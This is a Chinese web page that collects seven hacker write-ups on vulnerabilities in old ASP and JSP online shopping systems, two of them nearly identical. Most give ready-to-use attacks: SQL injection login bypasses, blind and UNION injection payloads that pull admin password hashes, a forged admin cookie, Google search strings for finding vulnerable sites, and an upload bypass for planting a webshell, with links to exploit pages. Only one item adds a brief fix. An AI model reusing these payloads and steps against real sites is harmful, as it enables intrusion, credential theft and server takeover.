凡人网络购物系统Jsp版漏洞分析

追风少年风追我 分享 时间: 收藏本文

【简介】感谢网友“追风少年风追我”参与投稿,下面就是小编给大家整理的凡人网络购物系统Jsp版漏洞分析(共7篇),希望您能喜欢!

篇1:凡人网络购物系统Jsp版漏洞分析

凡人网络购物系统Jsp版是网上少见的JSP开源的程序,说实话JSP的程序确实很少,

这套系统已经 被很多人改过了,所以只能用文件来试是不是这个系统,..数据库是ACCESS难得,以前学校写都是用SQL..所以JDBC那里很熟悉

这文章也没有投稿的价值.. 俺还有更好的文章投稿,所以这个就发出来玩了,代码漏洞百出。看的我都想吐了 有兴趣的朋友自己去下一份最新版的来看

正文:

现在虽然渗透的方法多彩多样,但是最具威胁最简单的还是injection攻击. 对于 injection漏洞的形成无非就是某某变量

没过滤或者过滤不严而已..

这几天一直在看凡人网络购物系统Jsp版的代码。 多少看出来点问题。这里共享下..

这套系统网上使用的并不是很多,但是大部分人喜欢改这套程序来用,所以我只是在笔记本上装了个tomcat环境来测试一下这个漏洞

因为不投稿所以也没截图 只把漏洞代码简单说下

首先看一下就简单的JSP注射漏洞的形成,我从我们教材上随便找了一个后台登陆的代码来分析

现在的学校培训程序员只知道让写代码。对编码安全根本没有意识...

教材上的后台代码:

Statement stmt = conn.createStatement;

string checkUser = “select * from login where username =' ”+userName + “' and userpassword ='”+userPassword + “ ' ”;

ResultSet rs = stmt.executeQuery(checkUser); //执行查询

if(rs.next())

response.sendRedirect(“SuccessLogin.jsp”);

else

response,sendRedirect(“FailureLogin.jsp”);

上边是一个正常的JSP登陆页面 . 但是userName跟userPassword都没有过滤直接就放到数据库中进行查询,存在典型的注射漏洞

如果我们知道数据库里有个admin的用户 那么我们就可以用or'a'='a 或者 'or1=1/*进行登陆而不用输入密码登陆。

现在我们来看看凡人网络购物系统Jsp版的登陆页面login.jsp..代码如下,

<%@ page contentType=“text/html;charset=GBK” language=“java” import=“java.sql.*,java.util.Date” errorPage=“” %>

<%

boolean foundeer=false;

String user_name,user_pass;

if(!foundeer){

if (session.getAttribute(“user_name”)==null){ //只判断是否为空,并未进行过滤

user_name=request.getParameter(“user_name”);

user_pass=request.getParameter(“user_pass”);

if(user_name==null || user_pass==null){

out.print(“用户名和用户密码不能为空!”);

foundeer=true;

}

String sql=“select * from member where user_name='”+user_name+“'”;

ResultSet rs;

rs=mdb.executeQuery(sql);

以下省略

...

}

我们从

if (session.getAttribute(“user_name”)==null){

user_name=request.getParameter(“user_name”);

user_pass=request.getParameter(“user_pass”);

if(user_name==null || user_pass==null){

out.print(“用户名和用户密码不能为空!”);

foundeer=true;

}

String sql=“select * from member where user_name='”+user_name+“'”;

ResultSet rs;

rs=mdb.executeQuery(sql);

这里可以看到, 只判断了user_name是否为空,并没有进行有效的过滤,导致注射漏洞的发生,如果让select成功,就能成功饶过验证. 算是一个典型的or 注入

先用or 1=1和or 1=2来测试是否存在注入点,我在本地测试是成功的..在本本上我没法截图 然后继续 or exists(select XX from XX)返回or 1=1的页面,这里没什么可说的... 不懂的可以去看鸡头的那个新or 注入 讲 的很明白的...

其实这太系统简直是漏洞百出,还一个跨站的漏洞,在留言那里限制是10个字符,

但是我们可以本地写个表单来提交就可以成功跨站的,代码我就不发了。 稍微懂点JSP的都能看出来。

篇2:凡人网络购物系统 V8.0 简体中文版 Cookie欺骗漏洞利用

ad_chk.asp判断管理员登陆状态

<%

if Request.Cookies(“venshop”)(“admin_name”)=“” or Request.Cookies(“venshop”)(“admin_pass”)=“” or Request.Cookies(“venshop”)(“admin_class”)=“” then

Response.Cookies(“venshop”)(“admin_name”)=“”

Response.Cookies(“venshop”)(“admin_pass”)=“”

Response.Cookies(“venshop”)(“admin_class”)=“”

response.redirect “ad_login.asp”

response.end

end if

%>

判断admin_class

C:\\Inetpub\\wwwroot>findstr /i /n /s “admin_class” *.asp

ad_admin.asp:29: rs(“admin_class”)=request(“class1”)

ad_admin.asp:43:rs(“admin_class”)=request(“class”)

ad_admin.asp:92:<%if rs(“admin_class”)=0 then response.write“ s

elected”%>>总管理员

ad_admin.asp:93:<%if rs(“admin_class”)=1 then response.write“ s

elected”%>>产品管理

ad_admin.asp:94:<%if rs(“admin_class”)=2 then response.write“ s

elected”%>>订单管理

........................

可以看出当admin_class=0的时候就是总管理员身份了,

凡人网络购物系统 V8.0 简体中文版 Cookie欺骗漏洞利用

伪造cookie如下

Themes=default; Count=lao=3; Countecho=lao=True; ASPSESSIONIDQAADRSRB=CDBDHEHCLJOIHFDAHLFHABIO; venshop=admin%5Fclass=0&admin%5Fpass=admin&admin%5Fname=admin

然后访问即可,后台有数据库备份可以拿webshell。

google :inurl:“views.asp?hw_id=”

篇3:网趣网上购物系统时尚版 v3.2注入漏洞

Cool Kid 's blog

涉及版本:网趣网上购物系统时尚版 v3.2

漏洞文件:getpwd2.asp,getpwd3.asp,getpwd4.asp

漏洞描述:变量username未经过滤带入sql查询,存在SQL注入漏洞.

关键代码:

ASP代码

<%

username=request.form(“username”)

set rs=Server.CreateObject(“Adodb.Recordset”)

sql=“select * from [user] where username='”&username“' ”

rs.open sql,conn,1,1

If rs.eof Then

%>

<%

End If

%>

取回密码 | 回答问题

利用方法:

post提交数据(可以借用剑心的Sql.htm[www.loveshell.net/blog/blogview.asp?logID=70]),默认管理员ID为4,密码为16位md5(小写字母),确定下范围0-9的asc值48-57,小写字母的asc值97-122

SQL代码

' or (select count(*) from admin where adminid=4 and asc(mid(password,N,1)) between 48 and 57)0 and ''='

' or (select count(*) from admin where adminid=4 and asc(mid(password,N,1)) between 97 and 122)0 and ''='

正确返回“取回密码”,错误返回对话框“这个用户没有注册,请注册!”

篇4:网趣网上购物系统时尚版10.3注入漏洞及修复

网趣可以改名成洞趣了

网趣网上购物系统时尚版10.3在会员登录编辑订单处存在SQL注入,导致管理员密码被注入暴MD5漏洞,

漏洞:文件editorderform.asp,存在sql注入漏洞

关键字:inurl:trends.asp?id=

利用前提:注册用户下定单

分析:

源码如下:

<%dim zhuangtai,namekey

namekey=trim(request(“namekey”))     只是单单过滤了空格而已

zhuangtai=trim(request(“zhuangtai”))

if zhuangtai=“” then zhuangtai=request.QueryString(“zhuangtai”)

if namekey=“” then namekey=request.querystring(“namekey”)

%>

………………

//按用户查询

if zhuangtai=0 or zhuangtai=“” then

rs.open “select distinct(dingdan),userid,userzhenshiname,actiondate,songhuofangshi,zhifufangshi,zhuangtai from orders where zhuangtai<6 and username=”&namekey&“ order by actiondate desc”,conn,1,1

else

rs.open “select distinct(dingdan),userid,userzhenshiname,actiondate,songhuofangshi,zhifufangshi,zhuangtai from orders where zhuangtai=”&zhuangtai&“ and username=”&namekey&“ order by actiondate”,conn,1,1

end if

admin目录下的editorderform.asp文件未做session验证,且对namekey过滤不严,直接导入查询产生SQL注入漏洞,

利用如下:

首先注册一个用户,随便找一样东西购买下一个定单,产生一个定单号。

如图:

好了,定单号产生,那么,我们接着就直接打开网站

www.chinasg.tk/admin/editorderform.asp?zhuangtai=0&namekey=qing

其中的namekey=qing,qing替换成你注册的用户名,

把这个URL放到NBSI当中,关键字为“1笔”,手动添加表名cnhww,结果如图所示:

好了,拿着跑出来的密码去cmd5解一下,再登录后台,

后台拿shell的话,备份和上传那里都可以,我就不详说了。

修复方案:

对admin目录下的editorderform.asp文件做session验证,对namekey严格过滤

篇5:网趣网上购物系统时尚版10.3注入漏洞漏洞预警

网趣网上购物系统时尚版10.3在会员登录编辑订单处存在SQL注入,导致管理员密码被注入暴MD5漏洞,

漏洞:文件editorderform.asp,存在sql注入漏洞

关键字:inurl:trends.asp?id=

利用前提:注册用户下定单

分析:

源码如下:

<%dim zhuangtai,namekey

namekey=trim(request(“namekey”))     只是单单过滤了空格而已

zhuangtai=trim(request(“zhuangtai”))

if zhuangtai=“” then zhuangtai=request.QueryString(“zhuangtai”)

if namekey=“” then namekey=request.querystring(“namekey”)

%>

………………

'//按用户查询

if zhuangtai=0 or zhuangtai=“” then

rs.open “select distinct(dingdan),userid,userzhenshiname,actiondate,songhuofangshi,zhifufangshi,zhuangtai from orders where zhuangtai<6 and username='”&namekey&“' order by actiondate desc”,conn,1,1

else

rs.open “select distinct(dingdan),userid,userzhenshiname,actiondate,songhuofangshi,zhifufangshi,zhuangtai from orders where zhuangtai=”&zhuangtai&“ and username='”&namekey&“' order by actiondate”,conn,1,1

end if

admin目录下的editorderform.asp文件未做session验证,且对namekey过滤不严,直接导入查询产生SQL注入漏洞,

利用如下:

首先注册一个用户,随便找一样东西购买下一个定单,产生一个定单号。

如图:

好了,定单号产生,那么,我们接着就直接打开网站

www.chinasg.tk/admin/editorderform.asp?zhuangtai=0&namekey=qing

其中的namekey=qing,qing替换成你注册的用户名,

把这个URL放到NBSI当中,关键字为“1笔”,手动添加表名cnhww,结果如图所示:

好了,拿着跑出来的密码去cmd5解一下,再登录后台,

后台拿shell的话,备份和上传那里都可以,我就不详说了。

篇6:网趣网上购物系统HTML静态版 v 注射漏洞预警

Author:Lan3a

这个程序太多问题了,

我直接说方法了。

Google关键字:inurl:buy.asp?action=show

或者:inurl:viewreturn.asp?Page=1

注射代码:

引用

admin/review.asp?id=50%20and%201=2%20union%20select%201,2,admin,4,password,6,7,8,9,10,11%20from%20admin

自己重新查询下表,或者用工具注入

后台拿SHELL很简单的,上传截断,数据库备份都可以的,

原文来自:blog.cfyhack.cn/Wang_qu_shopping_injection/

篇7:无忧购物系统ASP时尚版和通用版上传漏洞利用网站安全

关键字:Copyright © 2008-2009 gzwynet.com.cn

上传利用地址:admin/upLoad_c.asp?a=uploadfile&b=1

利用文件:

无忧购物系统ASP时尚版上传漏洞利用程序 BY Qing

www.hackqing.cn/admin/upLoad_c1.asp“

enctype=”multipart/form-data“ >

正在上传文件,请稍候...

bordercolorlight=”#cccccc“ bordercolordark=”#CCCCCC“ bgcolor=”#CCCCCC“>

文件上传 (允许上

传的文件类型: jpg gif)

选择文件:

nclick=”javascript.:mysub()“>

上传一个JPG格式的小马或一句话

上传后的默认地址:admin/uploadfile/st.asp;(文件名)

如图

实际一句话地址:

利用文件:

无忧购物系统asp时尚版上传漏洞利用程序.html

down.qiannao.com/space/file/yulegu/share/2010/10/1/-65e0-5fe7-8d2d-7269-7cfb-7edfasp-65f6-5c1a-7248-4e0a-4f20-6f0f-6d1e-5229-7528-7a0b-5e8f.html/.page

版本:无忧购物系统ASP通用版 V2010.9.17

漏洞:上传漏洞

关键字:Copyright©2000-2021 gzwynet.com.cn (若有其他更好的关键字,希望能给我留下言)

利用前提:注册用户

漏洞文件:upfile_Other.asp

其中:

<%

if EnableUploadFile=”NO“ then

response.write ”系统未开放文件上传功能“

else

if session(”AdminName“)=”“ and session(”UserName“)=”“ then

response.Write(”请登录后再使用本功能!“)

else

select case upload_type

case 0

call upload_0() '使用化境无组件上传类

case else

'response.write ”本系统未开放插件功能\"

'response.end

end select

end if

end if

%>

user,就是注册用户,也存在上传权限,其他的几个文件,如Upfile_Dialog.asp,Upfile_Photo.asp并没有普通用户的上传权限

那么我们现在就是要利用普通用户的这个可以上传的功能,

无忧购物系统ASP时尚版和通用版上传漏洞利用网站安全

首先,注册个用户,如果没找到注册的地方,直接在网址后面输入userreg.asp,

注册并登录,

登录之后不要关闭页面,因为是session验证,现在我们打开这个本地上传页面,

修改action后的地址,并给马儿后面添加一个空格,点击上传就可以,图中红色所示部分就是空格,如图所示

复制页面上所示的木马地址,打开即可。

到此,拿到shell,完整结束。

附上本地上传的这个页面

down.qiannao.com/space/file/yulegu/share/2010/10/1/-672c-5730-4e0a-4f20-6f0f-6d1e.html/.page

相关专题 凡人漏洞